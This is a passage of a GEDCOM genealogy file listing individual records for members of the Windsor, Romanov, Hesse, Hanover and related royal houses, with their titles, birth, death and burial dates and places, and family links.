BIRT\n2 DATE 20 DEC 1902\n2 PLAC York Cottage,Sandringham,Norfolk,England\n1 DEAT\n2 DATE 25 AUG 1942\n2 PLAC Morven,,,Scotland\n1 FAMS @F17@\n1 FAMC @F7@\n0 @I36@ INDI\n1 NAME John Charles Francis/Windsor/\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE 12 JUL 1905\n2 PLAC York Cottage,Sandringham,Norfolk,England\n1 DEAT\n2 DATE 18 JAN 1919\n2 PLAC Wood Farm,Wolferton,Norfolk,England\n1 BURI\n2 PLAC Sandringham,Norfolk,,England\n1 FAMC @F7@\n0 @I37@ INDI\n1 NAME Nicholas_II Alexandrovich /Romanov/\n1 TITL Tsar of Russia\n1 SEX M\n1 BIRT\n2 DATE 18 MAY 1868\n2 PLAC Tsarskoye Selo,Pushkin,,Russia\n1 DEAT\n2 DATE 16 JUL 1918\n2 PLAC Ekaterinburg,,,Russia\n1 FAMS @F4@\n1 FAMC @F9@\n0 @I38@ INDI\n1 NAME Victoria Alberta of_Hesse//\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE        1863\n1 DEAT\n2 DATE        1950\n1 FAMS @F27@\n1 FAMC @F8@\n0 @I39@ INDI\n1 NAME Alexandra Fedorovna \"Alix\"//\n1 TITL Tsarina\n1 SEX F\n1 BIRT\n2 DATE  6 JUN 1872\n2 PLAC Darmstadt,,,Germany\n1 DEAT\n2 DATE 16 JUL 1918\n2 PLAC Ekaterinburg,,,Russia\n1 FAMS @F4@\n1 FAMC @F8@\n0 @I40@ INDI\n1 NAME Alexander_III Alexandrovich /Romanov/\n1 TITL Tsar of Russia\n1 SEX M\n1 BIRT\n2 DATE        1845\n1 DEAT\n2 DATE  1 NOV 1894\n2 PLAC Livadia,Crimea,Near Yalta,Russia\n1 BURI\n2 DATE 19 NOV 1894\n2 PLAC Cathedral of the,Fortress of P&P,St. Petersburg,Russia\n1 FAMS @F9@\n1 FAMC @F11@\n0 @I41@ INDI\n1 NAME Dagmar \"Marie\" of_Denmark//\n1 TITL Tsarina\n1 SEX F\n1 BIRT\n2 DATE        1847\n1 DEAT\n2 DATE    OCT 1928\n2 PLAC Copenhagen,,,Denmark\n1 FAMS @F9@\n1 FAMC @F74@\n0 @I42@ INDI\n1 NAME Nicholas_I  /Romanov/\n1 TITL Tsar of Russia\n1 SEX M\n1 BIRT\n2 DATE        1796\n1 DEAT\n2 DATE        1855\n1 FAMS @F10@\n1 FAMC @F469@\n0 @I43@ INDI\n1 NAME Charlotte of_Prussia //\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE        1798\n1 DEAT\n2 DATE        1860\n1 FAMS @F10@\n1 FAMC @F145@\n0 @I44@ INDI\n1 NAME Alexander_II Nicholoevich /Romanov/\n1 TITL Tsar of Russia\n1 SEX M\n1 BIRT\n2 DATE        1818\n1 DEAT\n2 DATE 13 MAR 1881\n1 FAMS @F11@\n1 FAMS @F593@\n1 FAMC @F10@\n0 @I45@ INDI\n1 NAME Marie of_Hesse- Darmstadt//\n1 SEX F\n1 BIRT\n2 DATE        1824\n1 DEAT\n2 DATE        1880\n1 FAMS @F11@\n1 FAMC @F110@\n0 @I46@ INDI\n1 NAME Olga Nicholovna /Romanov/\n1 TITL Grand Duchess\n1 SEX F\n1 BIRT\n2 DATE    NOV 1895\n2 PLAC Alexander Palace,Tsarskoe Selo,,Russia\n1 DEAT\n2 DATE 18 JUL 1918\n2 PLAC Ekaterinburg,,,Russia\n1 FAMC @F4@\n0 @I47@ INDI\n1 NAME Tatiana Nicholovna //\n1 TITL Grand Duchess\n1 SEX F\n1 BIRT\n2 DATE    JUN 1897\n1 DEAT\n2 DATE 18 JUL 1918\n2 PLAC Ekaterinburg,,,Russia\n1 FAMC @F4@\n0 @I48@ INDI\n1 NAME Maria Nicholovna /Romanov/\n1 TITL Grand Duchess\n1 SEX F\n1 BIRT\n2 DATE    MAY 1899\n1 DEAT\n2 DATE 18 JUL 1918\n2 PLAC Ekaterinburg,,,Russia\n1 FAMC @F4@\n0 @I49@ INDI\n1 NAME Anastasia Nicholovna /Romanov/\n1 TITL Grand Duchess\n1 SEX F\n1 BIRT\n2 DATE    JUN 1901\n1 DEAT\n2 DATE 18 JUL 1918\n2 PLAC Ekaterinburg,,,Russia\n1 FAMC @F4@\n0 @I50@ INDI\n1 NAME Alexis Nicolaievich /Romanov/\n1 TITL Tsarevich\n1 SEX M\n1 BIRT\n2 DATE 12 AUG 1904\n2 PLAC Peterhof,Near,St. Petersburg,Russia\n1 DEAT\n2 DATE 18 JUL 1918\n2 PLAC Ekaterinburg,,,Russia\n1 FAMC @F4@\n0 @I51@ INDI\n1 NAME Elizabeth Angela Marguerite/Bowes-Lyon/\n1 TITL Lady\n1 SEX F\n1 BIRT\n2 DATE  4 AUG 1900\n2 PLAC ,,London,England\n1 CHR\n2 DATE 23 SEP 1900\n1 FAMS @F12@\n1 FAMC @F46@\n0 @I52@ INDI\n1 NAME Elizabeth_II Alexandra Mary/Windsor/\n1 TITL Queen of England\n1 SEX F\n1 BIRT\n2 DATE 21 APR 1926\n2 PLAC 17 Bruton St.,London,W1,England\n1 FAMS @F14@\n1 FAMC @F12@\n0 @I53@ INDI\n1 NAME Margaret Rose /Windsor/\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE 21 AUG 1930\n2 PLAC Glamis Castle,,Angus,Scotland\n1 FAMS @F13@\n1 FAMC @F12@\n0 @I54@ INDI\n1 NAME Anthony Charles Robert/Armstrong-Jones/\n1 TITL Earl of Snowdon\n1 SEX M\n1 BIRT\n2 DATE  7 MAR 1930\n1 FAMS @F13@\n1 FAMS @F1410@\n0 @I55@ INDI\n1 NAME David Albert Charles/Armstrong-Jones/\n1 TITL Vicount Linley\n1 SEX M\n1 BIRT\n2 DATE  3 NOV 1961\n1 FAMC @F13@\n0 @I56@ INDI\n1 NAME Sarah Frances Elizabeth/Armstrong-Jones/\n1 TITL Lady\n1 SEX F\n1 BIRT\n2 DATE  1 MAY 1964\n1 FAMC @F13@\n0 @I57@ INDI\n1 NAME Philip  /Mountbatten/\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE 10 JUN 1921\n2 PLAC Isle of Kerkira,Mon Repos,Corfu,Greece\n1 FAMS @F14@\n1 FAMC @F28@\n0 @I58@ INDI\n1 NAME Charles Philip Arthur/Windsor/\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE 14 NOV 1948\n2 PLAC Buckingham,Palace,London,England\n1 CHR\n2 DATE 15 DEC 1948\n2 PLAC Buckingham,Palace,Music Room,England\n1 FAMS @F16@\n1 FAMC @F14@\n0 @I59@ INDI\n1 NAME Anne Elizabeth Alice/Windsor/\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE 15 AUG 1950\n2 PLAC Clarence House,St. James,,England\n1 CHR\n2 DATE 21 OCT 1950\n2 PLAC ,,,England\n1 FAMS @F15@\n1 FAMC @F14@\n0 @I60@ INDI\n1 NAME Andrew Albert Christian/Windsor/\n1 TITL Duke of York\n1 SEX M\n1 BIRT\n2 DATE 19 FEB 1960\n2 PLAC Belgian Suite,Buckingham,Palace,England\n1 FAMS @F53@\n1 FAMC @F14@\n0 @I61@ INDI\n1 NAME Edward Anthony Richard/Windsor/\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE 10 MAR 1964\n2 PLAC Buckingham,Palace,London,England\n1 CHR\n2 DATE  2 MAY 1964\n1 FAMC @F14@\n0 @I62@ INDI\n1 NAME Mark Anthony Peter/Phillips/\n1 TITL Captain\n1 SEX M\n1 BIRT\n2 DATE 22 SEP 1948\n1 FAMS @F15@\n1 FAMC @F1405@\n0 @I63@ INDI\n1 NAME Peter Mark Andrew/Phillips/\n1 SEX M\n1 BIRT\n2 DATE 15 NOV 1977\n2 PLAC St. Mary's Hosp.,Paddington,London,England\n1 CHR\n2 DATE 22 DEC 1977\n2 PLAC Music Room,Buckingham,Palace,England\n1 FAMC @F15@\n0 @I64@ INDI\n1 NAME Zara Anne Elizabeth/Phillips/\n1 SEX F\n1 BIRT\n2 DATE 15 MAY 1981\n2 PLAC St. Marys Hosp.,Paddington,London,England\n1 FAMC @F15@\n0 @I65@ INDI\n1 NAME Diana Frances /Spencer/\n1 TITL Lady\n1 SEX F\n1 BIRT\n2 DATE  1 JUL 1961\n2 PLAC Park House,Sandringham,Norfolk,England\n1 CHR\n2 PLAC Sandringham,Church,Norfolk,England\n1 FAMS @F16@\n1 FAMC @F78@\n0 @I66@ INDI\n1 NAME Marina of_Greece //\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE 30 NOV 1906\n2 PLAC Athens,Greece\n1 DEAT\n2 DATE        1968\n2 PLAC Kensington,Palace,,England\n1 FAMS @F17@\n1 FAMC @F76@\n0 @I67@ INDI\n1 NAME Edward George Nicholas/Windsor/\n1 TITL Duke of Kent\n1 SEX M\n1 BIRT\n2 DATE  9 SEP 1935\n2 PLAC 3 Belgrave Sq.,,England\n1 FAMS @F31@\n1 FAMC @F17@\n0 @I68@ INDI\n1 NAME Henry George Charles/Lascelles/\n1 TITL Viscount\n1 SEX M\n1 BIRT\n2 DATE        1882\n1 DEAT\n2 DATE        1947\n1 FAMS @F18@\n0 @I69@ INDI\n1 NAME Alice Christabel /Montagu-Douglas/\n1 TITL Lady\n1 SEX F\n1 BIRT\n2 DATE 25 DEC 1901\n2 PLAC London,England\n1 FAMS @F19@\n1 FAMC @F296@\n0 @I70@ INDI\n1 NAME Bessiewallis  /Warfield/\n1 SEX F\n1 BIRT\n2 DATE        1896\n2 PLAC ,,,U.S.A.\n1 DEAT\n2 DATE 24 APR 1986\n2 PLAC Paris,,,France\n1 BURI\n2 PLAC Frogmore,Windsor,Berkshire,England\n1 FAMS @F20@\n1 FAMS @F24@\n1 FAMS @F25@\n1 FAMC @F55@\n0 @I71@ INDI\n1 NAME Charles Haakon_VII //\n1 TITL King of Norway\n1 SEX M\n1 BIRT\n2 DATE        1872\n2 PLAC Charlottenlund,Denmark\n1 DEAT\n2 DATE        1957\n1 FAMS @F21@\n1 FAMC @F218@\n0 @I72@ INDI\n1 NAME Henry of_Prussia //\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1862\n1 DEAT\n2 DATE        1929\n1 FAMS @F22@\n1 FAMC @F3@\n0 @I73@ INDI\n1 NAME Sigismund  //\n1 SEX M\n1 BIRT\n2 DATE        1864\n1 DEAT\n2 DATE        1866\n1 FAMC @F3@\n0 @I74@ INDI\n1 NAME Victoria  //\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE        1866\n1 DEAT\n2 DATE        1929\n1 FAMS @F138@\n1 FAMS @F442@\n1 FAMC @F3@\n0 @I75@ INDI\n1 NAME Waldemar  //\n1 SEX M\n1 BIRT\n2 DATE        1868\n1 DEAT\n2 DATE        1879\n1 FAMC @F3@\n0 @I76@ INDI\n1 NAME Sophie of_Prussia //\n1 TITL Queen of Greece\n1 SEX F\n1 BIRT\n2 DATE 14 JUN 1870\n2 PLAC Potsdam,Germany\n1 DEAT\n2 DATE 13 JAN 1932\n2 PLAC Frankfurt,Germany\n1 BURI\n2 DATE    NOV 1936\n2 PLAC Tatoi,Near Athens,Greece\n1 FAMS @F139@\n1 FAMC @F3@\n0 @I77@ INDI\n1 NAME Charlotte of_Saxe- Meiningen//\n1 TITL Duchess\n1 SEX F\n1 BIRT\n2 DATE        1860\n1 DEAT\n2 DATE        1919\n1 FAMS @F137@\n1 FAMC @F3@\n0 @I78@ INDI\n1 NAME Margarete of_Hesse //\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE        1872\n1 DEAT\n2 DATE        1954\n1 FAMS @F140@\n1 FAMC @F3@\n0 @I79@ INDI\n1 NAME Irene of_Hesse //\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE        1866\n1 DEAT\n2 DATE        1953\n1 FAMS @F22@\n1 FAMC @F8@\n0 @I80@ INDI\n1 NAME Waldemar  //\n1 SEX M\n1 BIRT\n2 DATE        1889\n1 DEAT\n2 DATE        1945\n1 FAMC @F22@\n0 @I81@ INDI\n1 NAME Henry  //\n1 SEX M\n1 BIRT\n2 DATE        1900\n1 DEAT\n2 DATE        1904\n1 FAMC @F22@\n0 @I82@ INDI\n1 NAME Child_#3  //\n1 SEX M\n1 FAMC @F22@\n0 @I83@ INDI\n1 NAME Ernest Louis of_Hesse//\n1 TITL Grand Duke\n1 SEX M\n1 BIRT\n2 DATE        1868\n1 DEAT\n2 DATE        1937\n1 FAMS @F49@\n1 FAMS @F157@\n1 FAMC @F8@\n0 @I84@ INDI\n1 NAME Elizabeth \"Ella\" //\n1 TITL Grand Duchess\n1 SEX F\n1 BIRT\n2 DATE        1864\n1 DEAT\n2 DATE 17 JUL 1918\n2 PLAC Alapayevsk,Ural Mts.,,Russia\n1 FAMS @F144@\n1 FAMC @F8@\n0 @I85@ INDI\n1 NAME Mary \"May\" //\n1 SEX F\n1 BIRT\n2 DATE        1874\n1 DEAT\n2 DATE        1878\n2 PLAC Hesse-Darmstadt,Palace,,Germany\n1 FAMC @F8@\n0 @I86@ INDI\n1 NAME Frederick  //\n1 SEX M\n1 BIRT\n2 DATE        1870\n1 DEAT\n2 DATE        1873\n1 FAMC @F8@\n0 @I87@ INDI\n1 NAME William Henry Andrew/Windsor/\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE 18 DEC 1941\n2 PLAC Hadley Common,Hertfordshire,England\n1 CHR\n2 DATE 22 FEB 1942\n2 PLAC Private Chapel,Windsor Castle,Berkshire,England\n1 DEAT\n2 DATE 28 AUG 1972\n2 PLAC Near,Wolverhampton,England\n1 FAMC @F19@\n0 @I88@ INDI\n1 NAME Richard Alexander Walter/Windsor/\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE 26 AUG 1944\n2 PLAC Hadley Common,Hertfordshire,England\n1 CHR\n2 DATE 20 OCT 1944\n2 PLAC Private Chapel,Windsor Castle,Berkshire,England\n1 FAMS @F23@\n1 FAMC @F19@\n0 @I89@ INDI\n1 NAME Birgitte of_Denmark /von_Deurs/\n1 TITL Duchess\n1 SEX F\n1 BIRT\n2 DATE        1947\n1 FAMS @F23@\n0 @I90@ INDI\n1 NAME Alexander Patrick Gregers//\n1 TITL Earl of Ulster\n1 SEX M\n1 BIRT\n2 DATE 24 OCT 1974\n2 PLAC St. Marys Hosp.,Paddington,London,England\n1 CHR\n2 DATE  9 FEB 1975\n2 PLAC Barnwell Church\n1 FAMC @F23@\n0 @I91@ INDI\n1 NAME Earl Winfield /Spencer/\n1 TITL Jr.\n1 SEX M\n1 FAMS @F24@\n0 @I92@ INDI\n1 NAME Ernest  /Simpson/\n1 SEX M\n1 FAMS @F25@\n0 @I93@ INDI\n1 NAME Frances  /Burke_Roche/\n1 TITL Hon.\n1 SEX F\n1 BIRT\n2 DATE        1936\n1 FAMS @F78@\n1 FAMS @F297@\n1 FAMC @F119@\n0 @I94@ INDI\n1 NAME Marie Alexandrovna //\n1 TITL Grand Duchess\n1 SEX F\n1 BIRT\n2 DATE 17 OCT 1853\n2 PLAC St. Petersburg,,,Russia\n1 DEAT\n2 DATE 25 OCT 1920\n2 PLAC Zurich,,,Switzerland\n1 FAMS @F26@\n1 FAMC @F11@\n0 @I95@ INDI\n1 NAME Alfred  //\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1874\n1 DEAT\n2 DATE        1899\n1 FAMC @F26@\n0 @I96@ INDI\n1 NAME Marie of_Saxe-Coburg and_Gotha//\n1 TITL Queen of Romania\n1 SEX F\n1 BIRT\n2 DATE 29 OCT 1875\n2 PLAC Eastwell Park,Kent,England\n1 DEAT\n2 DATE 10 JUL 1938\n2 PLAC Castle Pelesch,Sinaia,Romania\n1 FAMS @F100@\n1 FAMC @F26@\n0 @I97@ INDI\n1 NAME Victoria Melita of_Edinburgh//\n1 TITL Grand Duchess\n1 SEX F\n1 BIRT\n2 DATE        1876\n2 PLAC Malta\n1 DEAT\n2 DATE        1936\n1 FAMS @F49@\n1 FAMS @F213@\n1 FAMC @F26@\n0 @I98@ INDI\n1 NAME Alexandra  //\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE        1878\n1 DEAT\n2 DATE        1942\n1 FAMS @F961@\n1 FAMC @F26@\n0 @I99@ INDI\n1 NAME Beatrice  //\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE        1884\n1 DEAT\n2 DATE        1966\n1 FAMS @F960@\n1 FAMC @F26@\n0 @I100@ INDI\n1 NAME Louis of_Battenberg //\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1854\n1 DEAT\n2 DATE        1921\n1 FAMS @F27@\n1 FAMC @F109@\n0 @I101@ INDI\n1 NAME Alice of_Battenberg //\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE        1885\n1 DEAT\n2 DATE ABT    1969\n2 PLAC Buckingham,Palace,London,England\n1 FAMS @F28@\n1 FAMC @F27@\n0 @I102@ INDI\n1 NAME George  /Mountbatten/\n1 TITL Marquess\n1 SEX M\n1 BIRT\n2 DATE        1892\n1 DEAT\n2 DATE        1938\n1 FAMS @F176@\n1 FAMC @F27@\n0 @I103@ INDI\n1 NAME Louis of_Burma /Mountbatten/\n1 TITL Earl Mountbatten\n1 SEX M\n1 BIRT\n2 DATE        1900\n2 PLAC Windsor,Berkshire,England\n1 DEAT\n2 DATE 27 AUG 1979\n2 PLAC Donegal Bay,County Sligo,Ireland\n1 FAMS @F175@\n1 FAMC @F27@\n0 @I104@ INDI\n1 NAME Andrew of_Greece //\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1882\n1 DEAT\n2 DATE        1944\n1 FAMS @F28@\n1 FAMC @F75@\n0 @I105@ INDI\n1 NAME Alexander  /Duff/\n1 TITL Duke of Fife\n1 SEX M\n1 BIRT\n2 DATE        1849\n1 DEAT\n2 DATE        1912\n1 FAMS @F29@\n0 @I106@ INDI\n1 NAME Alexandra  /Windsor/\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE 25 DEC 1936\n1 FAMS @F30@\n1 FAMC @F17@\n0 @I107@ INDI\n1 NAME Michael  /Windsor/\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE  4 JUL 1942\n2 PLAC Coppins,,England\n1 FAMS @F103@\n1 FAMC @F17@\n0 @I108@ INDI\n1 NAME Angus  /Ogilvy/\n1 TITL Hon.\n1 SEX M\n1 BIRT\n2 DATE        1928\n1 FAMS @F30@\n0 @I109@ INDI\n1 NAME James Robert Bruce/Ogilvy/\n1 SEX M\n1 BIRT\n2 DATE 29 FEB 1964\n2 PLAC Thatched House,Lodge,,England\n1 FAMS @F1411@\n1 FAMC @F30@\n0 @I110@ INDI\n1 NAME Marina Victoria Alexandra/Ogilvy/\n1 SEX F\n1 BIRT\n2 DATE 31 JUL 1966\n2 PLAC Thatched House,Lodge,Richmond Park,England\n1 FAMS @F1402@\n1 FAMC @F30@\n0 @I111@ INDI\n1 NAME Katharine  /Worsley/\n1 TITL Duchess of Kent\n1 SEX F\n1 BIRT\n2 DATE        1933\n1 FAMS @F31@\n1 FAMC @F367@\n0 @I112@ INDI\n1 NAME George Philip of_St._Andrews/Windsor/\n1 TITL Earl\n1 SEX M\n1 BIRT\n2 DATE 26 JUN 1962\n1 CHR\n2 DATE 14 SEP 1962\n2 PLAC Buckingham,Palace,Music Room,England\n1 FAMS @F1406@\n1 FAMC @F31@\n0 @I113@ INDI\n1 NAME Helen Marina Lucy/Windsor/\n1 TITL Lady\n1 SEX F\n1 BIRT\n2 DATE 28 APR 1964\n1 CHR\n2 DATE 12 MAY 1964\n2 PLAC Private Chapel,Windsor Castle,Berkshire,England\n1 FAMC @F31@\n0 @I114@ INDI\n1 NAME Nicholas Charles Edward/Windsor/\n1 TITL Lord\n1 SEX M\n1 BIRT\n2 DATE 25 JUL 1970\n2 PLAC Kings College,Hospital,Denmark Hill\n1 CHR\n2 PLAC Private Chapel,Windsor Castle,Berkshire,England\n1 FAMC @F31@\n0 @I115@ INDI\n1 NAME William Arthur Philip/Windsor/\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE 21 JUN 1982\n2 PLAC St. Mary's Hosp.,Paddington,London,England\n1 CHR\n2 DATE  4 AUG 1982\n2 PLAC Music Room,Buckingham,Palace,England\n1 FAMC @F16@\n0 @I116@ INDI\n1 NAME Henry Charles Albert/Windsor/\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE 15 SEP 1984\n2 PLAC St. Mary's Hosp.,Paddington,London,England\n1 FAMC @F16@\n0 @I117@ INDI\n1 NAME (Frederick) Christian Charles//\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1831\n1 DEAT\n2 DATE        1917\n1 FAMS @F32@\n0 @I118@ INDI\n1 NAME Marie Louise //\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE        1872\n1 DEAT\n2 DATE        1956\n1 FAMS @F33@\n1 FAMC @F32@\n0 @I119@ INDI\n1 NAME Aribert of_Anhalt //\n1 SEX M\n1 BIRT\n2 DATE        1864\n1 DEAT\n2 DATE        1933\n1 FAMS @F33@\n0 @I120@ INDI\n1 NAME Louise Margaret of_Prussia//\n1 TITL Duchess\n1 SEX F\n1 BIRT\n2 DATE 25 JUN 1860\n2 PLAC Potsdam\n1 DEAT\n2 DATE 14 MAR 1917\n2 PLAC Clarence House,London,,England\n1 BURI\n2 PLAC Frogmore,,,England\n1 FAMS @F34@\n1 FAMC @F68@\n0 @I121@ INDI\n1 NAME Margaret of_Sweden //\n1 TITL Crown Princess\n1 SEX F\n1 BIRT\n2 DATE 15 JAN 1882\n2 PLAC Bagshot Park\n1 DEAT\n2 DATE  1 MAY 1920\n2 PLAC Stockholm,Sweden\n1 FAMS @F35@\n1 FAMC @F34@\n0 @I122@ INDI\n1 NAME Arthur of_Connaught //\n1 TITL Duke\n1 SEX M\n1 BIRT\n2 DATE        1883\n1 DEAT\n2 DATE        1938\n1 FAMS @F36@\n1 FAMC @F34@\n0 @I123@ INDI\n1 NAME Patricia  //\n1 TITL Lady Ramsay\n1 SEX F\n1 BIRT\n2 DATE        1886\n1 DEAT\n2 DATE        1974\n1 FAMS @F37@\n1 FAMC @F34@\n0 @I124@ INDI\n1 NAME Gustav_VI Adolf //\n1 TITL King of Sweden\n1 SEX M\n1 BIRT\n2 DATE 11 NOV 1882\n2 PLAC Stockholm,Sweden\n1 DEAT\n2 DATE 15 SEP 1973\n2 PLAC Helsingborg\n1 BURI\n2 PLAC Royal Cemetery,Haga Castle Park\n1 FAMS @F35@\n1 FAMS @F77@\n1 FAMC @F155@\n0 @I125@ INDI\n1 NAME Alexandra  //\n1 TITL Duchess of Fife\n1 SEX F\n1 BIRT\n2 DATE        1891\n1 DEAT\n2 DATE 26 FEB 1959\n1 BURI\n2 PLAC Mar Lodge,Braemar,Aberdeenshire,England\n1 FAMS @F36@\n1 FAMC @F29@\n0 @I126@ INDI\n1 NAME Alexander  /Ramsay/\n1 TITL Admiral Sir\n1 SEX M\n1 BIRT\n2 DATE        1881\n1 DEAT\n2 DATE        1972\n1 FAMS @F37@\n1 FAMC @F962@\n0 @I127@ INDI\n1 NAME Isabella of_France //\n1 SEX F\n1 BIRT\n2 DATE        1292\n2 PLAC Paris\n1 DEAT\n2 DATE 22 AUG 1358\n2 PLAC Castle Rising,Norfolk,England\n1 BURI\n2 PLAC Grey Friars,Church,London,England\n1 FAMS @F92@\n1 FAMC @F794@\n0 @I128@ INDI\n1 NAME Issue_Unknown  //\n1 SEX M\n0 @I129@ INDI\n1 NAME Charles Edward //\n1 TITL Duke\n1 SEX M\n1 BIRT\n2 DATE        1884\n1 DEAT\n2 DATE        1954\n1 FAMS @F141@\n1 FAMC @F5@\n0 @I130@ INDI\n1 NAME George_III  /Hanover/\n1 TITL King of England\n1 SEX M\n1 BIRT\n2 DATE  4 JUN 1738\n2 PLAC Norfolk-House,St. James Square,London,England\n1 DEAT\n2 DATE 29 JAN 1820\n2 PLAC Windsor Castle,Windsor,Berkshire,England\n1 BURI\n2 PLAC St. George Chap.,Windsor Castle,Berkshire,England\n1 REFN 4\n1 FAMS @F39@\n1 FAMC @F105@\n0 @I131@ INDI\n1 NAME (Sophia) Charlotte //\n1 SEX F\n1 BIRT\n2 DATE 19 MAY 1744\n2 PLAC Mirow\n1 DEAT\n2 DATE 17 NOV 1818\n2 PLAC Kew Palace\n1 BURI\n2 PLAC St. George Chap.,Windsor,,England\n1 REFN 5\n1 FAMS @F39@\n1 FAMC @F959@\n0 @I132@ INDI\n1 NAME Adolphus of_Cambridge /Hanover/\n1 TITL Duke\n1 SEX M\n1 BIRT\n2 DATE        1774\n1 DEAT\n2 DATE        1850\n1 FAMS @F40@\n1 FAMC @F39@\n0 @I133@ INDI\n1 NAME Edward Augustus /Hanover/\n1 TITL Duke of Kent\n1 SEX M\n1 BIRT\n2 DATE  2 NOV 1767\n2 PLAC Buckingham House,,London,England\n1 DEAT\n2 DATE 23 JAN 1820\n2 PLAC Sidmouth,Devon,,England\n1 REFN 2\n1 FAMS @F42@\n1 FAMC @F39@\n0 @I134@ INDI\n1 NAME Augusta of_Hesse-Cassel //\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE        1797\n1 DEAT\n2 DATE        1889\n1 FAMS @F40@\n1 FAMC @F97@\n0 @I135@ INDI\n1 NAME Augusta Caroline //\n1 SEX F\n1 BIRT\n2 DATE        1822\n1 DEAT\n2 DATE        1916\n1 FAMS @F89@\n1 FAMC @F40@\n0 @I136@ INDI\n1 NAME Mary Adelaide \"Fat_Mary\"//\n1 SEX F\n1 BIRT\n2 DATE        1833\n1 DEAT\n2 DATE        1897\n1 FAMS @F41@\n1 FAMC @F40@\n0 @I137@ INDI\n1 NAME Francis  //\n1 TITL Duke of Teck\n1 SEX M\n1 BIRT\n2 DATE        1837\n1 DEAT\n2 DATE        1900\n1 FAMS @F41@\n1 FAMC @F98@\n0 @I138@ INDI\n1 NAME Victoria Mary Louisa//\n1 SEX F\n1 BIRT\n2 DATE 17 AUG 1786\n2 PLAC Coburg\n1 DEAT\n2 DATE 16 MAR 1861\n2 PLAC Frogmore House,Windsor,,England\n1 REFN 3\n1 FAMS @F1409@\n1 FAMS @F42@\n1 FAMC @F1147@\n0 @I139@ INDI\n1 NAME Ernest_I of_Saxe-Coburg- Saalfeld//\n1 TITL Duke\n1 SEX M\n1 BIRT\n2 DATE        1784\n1 DEAT\n2 DATE 29 JAN 1844\n1 FAMS @F43@\n1 FAMS @F1368@\n1 FAMC @F1147@\n0 @I140@ INDI\n1 NAME Louise of_Saxe-Coburg- Altenburg//\n1 SEX F\n1 BIRT\n2 DATE        1800\n2 PLAC Thuringia\n1 DEAT\n2 DATE        1831\n2 PLAC Paris,France\n1 FAMS @F43@\n0 @I141@ INDI\n1 NAME George_IV  /Hanover/\n1 TITL King of England\n1 SEX M\n1 BIRT\n2 DATE 12 AUG 1762\n2 PLAC ,,London,England\n1 DEAT\n2 DATE 26 JUN 1830\n2 PLAC Windsor Castle,Berkshire,England\n1 FAMS @F44@\n1 FAMS @F45@\n1 FAMC @F39@\n0 @I142@ INDI\n1 NAME Maria Anne /Fitzherbert/\n1 SEX F\n1 BIRT\n2 DATE        1756\n1 DEAT\n2 DATE        1837\n1 FAMS @F44@\n0 @I143@ INDI\n1 NAME Caroline Amelia of_Brunswick//\n1 SEX F\n1 BIRT\n2 DATE        1768\n1 DEAT\n2 DATE        1821\n1 FAMS @F45@\n1 FAMC @F501@\n0 @I144@ INDI\n1 NAME Charlotte Augusta /Hanover/\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE  7 JAN 1796\n2 PLAC Carlton House\n1 DEAT\n2 DATE  6 NOV 1817\n2 PLAC Claremont House,Esher,Surrey,England\n1 BURI\n2 PLAC St George Chapel,Windsor,England\n1 FAMS @F80@\n1 FAMC @F45@\n0 @I145@ INDI\n1 NAME Claude George /Bowes-Lyon/\n1 TITL Earl of Strath.\n1 SEX M\n1 BIRT\n2 DATE        1855\n1 DEAT\n2 DATE        1944\n1 FAMS @F46@\n1 FAMC @F56@\n0 @I146@ INDI\n1 NAME Cecilia Nina /Cavendish-Bentin/\n1 TITL Countess of S.\n1 SEX F\n1 BIRT\n2 DATE        1862\n1 DEAT\n2 DATE        1938\n1 FAMS @F46@\n1 FAMC @F71@\n0 @I147@ INDI\n1 NAME Margarita  /Mountbatten/\n1 SEX F\n1 BIRT\n2 DATE        1905\n1 DEAT\n2 DATE        1981\n1 FAMS @F166@\n1 FAMC @F28@\n0 @I148@ INDI\n1 NAME Theodora  /Mountbatten/\n1 SEX F\n1 BIRT\n2 DATE        1906\n1 DEAT\n2 DATE        1960\n1 FAMS @F167@\n1 FAMC @F28@\n0 @I149@ INDI\n1 NAME Vladimir  /Romanov/\n1 TITL Grand Duke\n1 SEX M\n1 BIRT\n2 DATE        1847\n1 DEAT\n2 DATE        1909\n1 FAMS @F47@\n1 FAMC @F11@\n0 @I150@ INDI\n1 NAME Alexis  /Romanov/\n1 TITL Grand Duke\n1 SEX M\n1 BIRT\n2 DATE        1850\n1 DEAT\n2 DATE        1908\n1 FAMC @F11@\n0 @I151@ INDI\n1 NAME Serge Alexandrovich /Romanov/\n1 TITL Grand Duke\n1 SEX M\n1 BIRT\n2 DATE        1857\n1 DEAT\n2 DATE    FEB 1905\n1 FAMS @F144@\n1 FAMC @F11@\n0 @I152@ INDI\n1 NAME Paul Alexandrovich /Romanov/\n1 TITL Grand Duke\n1 SEX M\n1 BIRT\n2 DATE        1860\n1 DEAT\n2 DATE    JAN 1919\n2 PLAC Fortress of,Peter and Paul,,Russia\n1 FAMS @F50@\n1 